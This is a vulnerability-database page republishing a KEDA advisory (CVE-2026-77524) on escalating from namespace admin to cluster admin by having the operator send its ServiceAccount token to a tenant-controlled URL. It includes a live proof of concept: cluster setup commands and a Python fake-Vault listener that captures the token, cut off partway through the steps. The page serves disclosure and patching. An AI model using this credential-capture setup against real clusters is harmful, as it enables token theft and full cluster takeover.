KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication
CVE-2026-77524 · GHSA-637c-6jxx-4rwm · GO-2026-6776 · published 15 Oct 2026
How serious is it
- Severity: critical, CVSS score 9.9 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-77524?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/kedacore/keda(Go) <= 1.5.0github.com/kedacore/keda/v2(Go) < 2.21.0
How to check
- Run
go list -m github.com/kedacore/kedain your project to see the installed version, including copies pulled in by other packages. - Run
go list -m github.com/kedacore/keda/v2in your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- No fixed version of
github.com/kedacore/kedayet. Replace or remove it, or apply the workaround in the advisory below. - On < 2.21.0: Upgrade
github.com/kedacore/keda/v2to 2.21.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
A namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `["*"]/["*"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.
This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.
Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8
## Verified live
kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.
## Preconditions
1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments.
2. KEDA is installed with default settings.
## Reproduction
### Cluster preparation (not part of the attack)
```sh
kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig
# Install KEDA v2.20.0 (unmodified vendor release manifest).
curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml
kubectl apply --server-side -f keda-2.20.0.yaml
kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s
kubectl -n keda rollout status deploy/keda-operator --timeout=180s
# Tenant identity: namespace admin in tenant-a.
kubectl create namespace tenant-a
kubectl -n tenant-a create serviceaccount tenant
kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant
kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh
kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant
# Mint a tenant kubeconfig from a real TokenRequest token.
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant
context: { cluster: kind, user: tenant, namespace: tenant-a }
current-context: tenant
users:
- name: tenant
user: { token: ${TOKEN} }
EOF
# Seed a "secret" canary in kube-system to make impact self-evident.
kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e
```
### Attack
1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.
```sh
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
vault.py: |
import http.server, socketserver, sys, json
class H(http.server.BaseHTTPRequestHandler):
def log_message(self,*a): pass
def _h(self):
ln=int(self.headers.get('Content-Length') or 0)
body=self.rfile.read(ln) if ln else b''
sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
socketserver.TCPServer.allow_reuse_address=True
with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
containers:
- name: vault
image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
command: ["python3","/src/vault.py"]
volumeMounts: [{ name: src, mountPath: /src }]
volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
selector: { app: fake-vault }
ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s
```
2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trig…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm
- nvd.nist.gov/vuln/detail/CVE-2026-77524
- github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d
- github.com/kedacore/keda/releases/tag/v2.21.0
- github.com/advisories/GHSA-637c-6jxx-4rwm
Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON